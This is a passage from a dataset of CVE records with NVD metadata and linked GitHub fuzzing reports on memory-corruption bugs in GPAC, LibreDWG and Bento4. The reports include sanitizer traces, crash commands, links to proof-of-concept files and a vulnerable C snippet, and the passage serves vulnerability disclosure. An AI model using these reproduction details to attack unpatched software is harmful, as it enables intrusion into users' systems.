[iso file] Unknown box type drzf in parent dinf
[iso file] Missing dref box in dinf
[iso file] Incomplete box mdat - start 11495 size 853090
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] extra box maxr found in hinf, deleting
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type 80rak in parent moov
[iso file] Unknown box type drzf in parent dinf
[iso file] Missing dref box in dinf
[iso file] Incomplete box mdat - start 11495 size 853090
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 LASeR Scene Parsing
[LASeR] sameg coded in bitstream but no g defined !
Reading 515 bits but max should be 64, skipping 451 most significants bits
laser/lsr_dec.c:856:27: runtime error: left shift of 1 by 31 places cannot be represented in type 'int'
```
|
Integer Overflow in function lsr_translate_coords at laser/lsr_dec.c:856 (CVE-2022-4202)
|
https://api.github.com/repos/gpac/gpac/issues/2333/comments
| 2 |
2022-11-29T22:29:30Z
|
2022-12-13T21:31:57Z
|
https://github.com/gpac/gpac/issues/2333
| 1,468,785,287 | 2,333 |
CVE-2022-45343
|
2022-11-29T16:15:09.293
|
GPAC v2.1-DEV-rev478-g696e6f868-master was discovered to contain a heap use-after-free via the Q_IsTypeOn function at /gpac/src/bifs/unquantize.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2315"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2315
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
# Description
Heap use after free in Q_IsTypeOn at gpac/src/bifs/unquantize.c:175:12
# System info
Ubuntu 20.04 lts
# Version info
```shell
MP4Box - GPAC version 2.1-DEV-rev478-g696e6f868-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer --enable-debug
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FAAD GPAC_HAS_MAD GPAC_HAS_LIBA52 GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_THEORA GPAC_HAS_VORBIS GPAC_HAS_XVID GPAC_HAS_LINUX_DVB
```
# compile
```shell
./configure --enable-sanitizer --enable-debug
make
```
# crash command
```shell
MP4Box -bt poc
```
# POC
[POC-uaf](https://drive.google.com/file/d/1E3XcQkAlOWxENIQDDVOycrQT0JVje8HW/view?usp=sharing)
# Crash output
```shell
/home/zw/AFL_Fuzz_Datas/gpac/bin/gcc/MP4Box -bt poc
[iso file] Unknown box type vref in parent dinf
[iso file] Missing dref box in dinf
[iso file] Unknown box type vref in parent dinf
[iso file] Missing dref box in dinf
MPEG-4 BIFS Scene Parsing
=================================================================
==1578219==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000001ad4 at pc 0x7f8194636c1d bp 0x7fff91f55420 sp 0x7fff91f55418
READ of size 4 at 0x610000001ad4 thread T0
#0 0x7f8194636c1c in Q_IsTypeOn /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/unquantize.c:175:12
#1 0x7f8194643390 in gf_bifs_dec_unquant_field /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/unquantize.c:398:7
#2 0x7f81945890e1 in gf_bifs_dec_sf_field /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:84:7
#3 0x7f8194597e3f in BD_DecMFFieldList /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:327:8
#4 0x7f819459cd2f in gf_bifs_dec_field /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:564:9
#5 0x7f819459df3a in gf_bifs_dec_node_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:626:7
#6 0x7f81945965a8 in gf_bifs_dec_node /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:928:7
#7 0x7f8194598014 in BD_DecMFFieldList /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:330:15
#8 0x7f819459cd2f in gf_bifs_dec_field /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:564:9
#9 0x7f81945c0e7b in BM_ParseFieldReplace /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:734:21
#10 0x7f81945c4923 in BM_ParseReplace /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:847:10
#11 0x7f81945c7f12 in BM_ParseCommand /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:915:8
#12 0x7f81945c9706 in gf_bifs_flush_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:964:9
#13 0x7f81945cc012 in gf_bifs_decode_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:1044:3
#14 0x7f8195bc921f in gf_sm_load_run_isom /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/loader_isom.c:303:10
#15 0x7f8195a86732 in gf_sm_load_run /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/scene_manager.c:719:28
#16 0x577f50 in dump_isom_scene /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/filedump.c:207:14
#17 0x53949f in mp4box_main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6369:7
#18 0x549801 in main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6834:1
#19 0x7f8192985082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x42ac5d in _start (/home/zw/AFL_Fuzz_Datas/gpac/bin/gcc/MP4Box+0x42ac5d)
0x610000001ad4 is located 148 bytes inside of 192-byte region [0x610000001a40,0x610000001b00)
freed by thread T0 here:
#0 0x4a5c52 in free (/home/zw/AFL_Fuzz_Datas/gpac/bin/gcc/MP4Box+0x4a5c52)
#1 0x7f8193259324 in gf_free /home/zw/AFL_Fuzz_Datas/gpac/src/utils/alloc.c:165:2
#2 0x7f819378d74a in gf_node_free /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/base_scenegraph.c:1622:2
#3 0x7f81938a38fc in QuantizationParameter_Del /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/mpeg4_nodes.c:11981:2
#4 0x7f81938962b1 in gf_sg_mpeg4_node_del /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/mpeg4_nodes.c:37743:3
#5 0x7f8193774108 in gf_node_del /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/base_scenegraph.c:1904:59
#6 0x7f8193763dc2 in gf_node_unregister /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/base_scenegraph.c:763:3
#7 0x7f8193772a1c in gf_node_try_destroy /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/base_scenegraph.c:669:9
#8 0x7f81937ce9cc in gf_sg_command_del /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/commands.c:72:7
#9 0x7f81945ca742 in gf_bifs_flush_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:990:5
#10 0x7f81945cc012 in gf_bifs_decode_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:1044:3
#11 0x7f8195bc921f in gf_sm_load_run_isom /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/loader_isom.c:303:10
#12 0x7f8195a86732 in gf_sm_load_run /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/scene_manager.c:719:28
#13 0x577f50 in dump_isom_scene /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/filedump.c:207:14
#14 0x53949f in mp4box_main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6369:7
#15 0x549801 in main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6834:1
#16 0x7f8192985082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x4a5ebd in malloc (/home/zw/AFL_Fuzz_Datas/gpac/bin/gcc/MP4Box+0x4a5ebd)
#1 0x7f8193259214 in gf_malloc /home/zw/AFL_Fuzz_Datas/gpac/src/utils/alloc.c:150:9
#2 0x7f819381fc84 in QuantizationParameter_Create /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/mpeg4_nodes.c:12496:2
#3 0x7f819388ffa6 in gf_sg_mpeg4_node_new /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/mpeg4_nodes.c:36871:10
#4 0x7f8193796799 in gf_node_new /home/zw/AFL_Fuzz_Datas/gpac/src/scenegraph/base_scenegraph.c:1996:51
#5 0x7f8194595f4a in gf_bifs_dec_node /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:900:15
#6 0x7f8194598014 in BD_DecMFFieldList /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:330:15
#7 0x7f819459cd2f in gf_bifs_dec_field /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/field_decode.c:564:9
#8 0x7f81945c0e7b in BM_ParseFieldReplace /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:734:21
#9 0x7f81945c4923 in BM_ParseReplace /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:847:10
#10 0x7f81945c7f12 in BM_ParseCommand /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:915:8
#11 0x7f81945c9706 in gf_bifs_flush_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:964:9
#12 0x7f81945cc012 in gf_bifs_decode_command_list /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/memory_decoder.c:1044:3
#13 0x7f8195bc921f in gf_sm_load_run_isom /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/loader_isom.c:303:10
#14 0x7f8195a86732 in gf_sm_load_run /home/zw/AFL_Fuzz_Datas/gpac/src/scene_manager/scene_manager.c:719:28
#15 0x577f50 in dump_isom_scene /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/filedump.c:207:14
#16 0x53949f in mp4box_main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6369:7
#17 0x549801 in main /home/zw/AFL_Fuzz_Datas/gpac/applications/mp4box/mp4box.c:6834:1
#18 0x7f8192985082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/zw/AFL_Fuzz_Datas/gpac/src/bifs/unquantize.c:175:12 in Q_IsTypeOn
Shadow bytes around the buggy address:
0x0c207fff8300: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c207fff8310: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c207fff8320: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c207fff8330: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c207fff8340: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c207fff8350: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
0x0c207fff8360: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c207fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x0c207fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c207fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1578219==ABORTING
```
# Occurrences:
[gpac/src/bifs/unquantize.c:175:12 in Q_IsTypeOn](https://github.com/gpac/gpac/blob/696e6f868f9f3e69d63908d3e4d8c34aa51e9853/src/bifs/unquantize.c#L175)
# Impact
can cause a program to crash, use unexpected values, or execute code.
**Report of the Information Security Laboratory of Ocean University of China @OUC_ISLOUC @OUC_Blue_Whale**
|
Heap use after free in Q_IsTypeOn at gpac/src/bifs/unquantize.c
|
https://api.github.com/repos/gpac/gpac/issues/2315/comments
| 0 |
2022-11-14T01:55:34Z
|
2022-11-14T13:45:21Z
|
https://github.com/gpac/gpac/issues/2315
| 1,447,239,893 | 2,315 |
CVE-2022-45332
|
2022-11-30T03:15:13.973
|
LibreDWG v0.12.4.4643 was discovered to contain a heap buffer overflow via the function decode_preR13_section_hdr at decode_r11.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/524"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gnu:libredwg:0.12.4.4643:*:*:*:*:*:*:*",
"matchCriteriaId": "8B1D693A-7DFD-40CC-B3E7-D2B6E5F5ADD1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/LibreDWG/libredwg/issues/524
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
**System info**
Ubuntu x86_64, clang 10.0
version: 0.12.4.4643, last commit [93c2512](https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd)
**Command line**
./dwg2dxf poc
**Poc**
poc: [poc](https://github.com/iorra-cifer/Poc/blob/main/libredwg/heap-buffer-overflow?raw=true)
**AddressSanitizer output**
==4080011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x618000000428 at pc 0x000000480860 bp 0x7ffddb1de850 sp 0x7ffddb1de008
WRITE of size 63 at 0x618000000428 thread T0
#0 0x48085f in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#1 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#2 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
#3 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#4 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#5 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#6 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#7 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649)
0x618000000428 is located 24 bytes inside of 442820362-byte region [0x618000000410,0x61801a64eb1a)
==4080011==AddressSanitizer CHECK failed: /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp:175 "((id)) != (0)" (0x0, 0x0)
#0 0x49bf3e in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_rtl.cpp:73:5
#1 0x4b045f in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/sanitizer_common/sanitizer_termination.cpp:78:5
#2 0x4245db in __asan::HeapAddressDescription::Print() const /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp
#3 0x427425 in __asan::ErrorGeneric::Print() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_errors.cpp:591:20
#4 0x497ba8 in __asan::ScopedInErrorReport::~ScopedInErrorReport() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:141:50
#5 0x4997dd in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:474:1
#6 0x480881 in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#7 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#8 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
#9 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#10 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#11 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#12 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#13 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649)
|
heap-buffer-overflow exists in the function decode_preR13_section_hdr in decode_r11.c
|
https://api.github.com/repos/LibreDWG/libredwg/issues/524/comments
| 1 |
2022-11-13T04:23:10Z
|
2022-11-30T12:14:12Z
|
https://github.com/LibreDWG/libredwg/issues/524
| 1,446,725,478 | 524 |
CVE-2022-45283
|
2022-12-06T00:15:10.257
|
GPAC MP4box v2.0.0 was discovered to contain a stack overflow in the smil_parse_time_list parameter at /scenegraph/svg_attributes.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2295"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "D7AEE044-50E9-4230-B492-A5FF18653115",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2295
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
A fixed length buffer value_string is allocated in smil_parse_time_list, while in the later memcpy, it doesn't check the length and simply copy content to this buffer, causing overflow.
```c
static void smil_parse_time_list(GF_Node *e, GF_List *values, char *begin_or_end_list)
{
SMIL_Time *value;
char value_string[500];
char *str = begin_or_end_list, *tmp;
u32 len;
/* get rid of leading spaces */
while (*str == ' ') str++;
while (1) {
tmp = strchr(str, ';');
if (tmp) len = (u32) (tmp-str);
else len = (u32) strlen(str);
memcpy(value_string, str, len);
while ((len > 0) && (value_string[len - 1] == ' '))
```
# Impact
Since the content is absolutely controllable by users, an unlimited length will cause stack overflow, corrupting canary, causing DoS or even Remote Code Execution.
# Mitigation
We can just set a length limit to it, making it less than 500 byte.
# Reproduce
On Ubuntu 22.04 lts, make with this.
```
./configure --static-bin
make
```
Run the following command with POC.svg.
```
MP4Box -mp4 -sync 0x1000 ./POC.svg
```
You may get a buffer overflow detected error.
```
[Parser] SVG Scene Parsing: ../encode_2-gpac-2.0.0/out/default/crashes/0.svg
*** buffer overflow detected ***: terminated | (00/100)
Aborted
```
GDB info before crash
```
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────
RAX 0x6804
RBX 0x0
RCX 0x1f4
RDX 0x6804
*RDI 0x7fffffff6640 ◂— 0x0
RSI 0xda20cc ◂— 0xff22802d68353548
R8 0x0
R9 0xda08b0 ◂— 0x0
R10 0xda2050 ◂— 0x1790
R11 0xd80c00 (main_arena+96) —▸ 0xdabcf0 ◂— 0x0
R12 0xda08b0 ◂— 0x0
R13 0x7fffffff6640 ◂— 0x0
R14 0xda20cc ◂— 0xff22802d68353548
R15 0xb650c3 ◂— 'wallclock('
RBP 0x6804
RSP 0x7fffffff6600 ◂— 0x0
*RIP 0x4c756b (smil_parse_time_list+123) ◂— call 0xadfe30
──────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────
0x4c77e2 <smil_parse_time_list+754> jmp smil_parse_time_list+110 <smil_parse_time_list+110>
↓
0x4c755e <smil_parse_time_list+110> mov edx, ebp
0x4c7560 <smil_parse_time_list+112> mov ecx, 0x1f4
0x4c7565 <smil_parse_time_list+117> mov rsi, r14
0x4c7568 <smil_parse_time_list+120> mov rdi, r13
► 0x4c756b <smil_parse_time_list+123> call __memcpy_chk <__memcpy_chk>
dstpp: 0x7fffffff6640 ◂— 0x0
srcpp: 0xda20cc ◂— 0xff22802d68353548
len: 0x6804
dstlen: 0x1f4
```
Backtrace
```
pwndbg> bt
#0 0x0000000000a84c3c in pthread_kill ()
#1 0x0000000000a640d6 in raise ()
#2 0x0000000000402136 in abort ()
#3 0x0000000000a7b476 in __libc_message ()
#4 0x0000000000adfe2a in __fortify_fail ()
#5 0x0000000000adfc46 in __chk_fail ()
#6 0x00000000004c7570 in smil_parse_time_list ()
#7 0x00000000004c965b in gf_svg_parse_attribute ()
#8 0x000000000063d178 in svg_node_start ()
#9 0x0000000000463486 in xml_sax_node_start ()
#10 0x0000000000464629 in xml_sax_parse ()
#11 0x0000000000464e63 in xml_sax_read_file.part ()
#12 0x000000000046515e in gf_xml_sax_parse_file ()
#13 0x000000000063b80a in load_svg_run ()
#14 0x000000000042a5e8 in EncodeFile ()
#15 0x000000000041252c in mp4boxMain ()
#16 0x0000000000a598fa in __libc_start_call_main ()
#17 0x0000000000a5b157 in __libc_start_main_impl ()
#18 0x0000000000402b95 in _start ()
```
# Credit
xdchase
# POC
[POC-bof.zip](https://github.com/gpac/gpac/files/9894378/POC-bof.zip)
|
GPAC-2.0.0 MP4Box: stack overflow with unlimited length and controllable content in smil_parse_time_list
|
https://api.github.com/repos/gpac/gpac/issues/2295/comments
| 0 |
2022-10-29T18:52:22Z
|
2022-11-04T08:28:14Z
|
https://github.com/gpac/gpac/issues/2295
| 1,428,405,742 | 2,295 |
CVE-2022-4584
|
2022-12-17T13:15:09.483
|
A vulnerability was found in Axiomatic Bento4 up to 1.6.0-639. It has been rated as critical. Affected by this issue is some unknown functionality of the component mp42aac. The manipulation leads to heap-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-216170 is the identifier assigned to this vulnerability.
|
{
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Secondary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/10095915/POC2.tar.gz"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/818"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory",
"VDB Entry"
],
"url": "https://vuldb.com/?ctiid.216170"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://vuldb.com/?id.216170"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:*:*:*:*:*:*:*:*",
"matchCriteriaId": "180AEBD6-AF89-4F0F-856E-D8B977C762C0",
"versionEndExcluding": null,
"versionEndIncluding": "1.6.0-639",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/818
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
When I tested the latest mp42aac, the following crash occurred.
## The problem
The optput of mp42aac_asan:
```
==115490==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ee71 at pc 0x000000509921 bp 0x7fffffffd410 sp 0x7fffffffd400
READ of size 1 at 0x60200000ee71 thread T0
#0 0x509920 in AP4_Stz2Atom::AP4_Stz2Atom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:113
#1 0x509ac6 in AP4_Stz2Atom::Create(unsigned int, AP4_ByteStream&) /home/xxzs/workdir/test/Bento4/Source/C++/Core/Ap4Stz2Atom.cpp:52
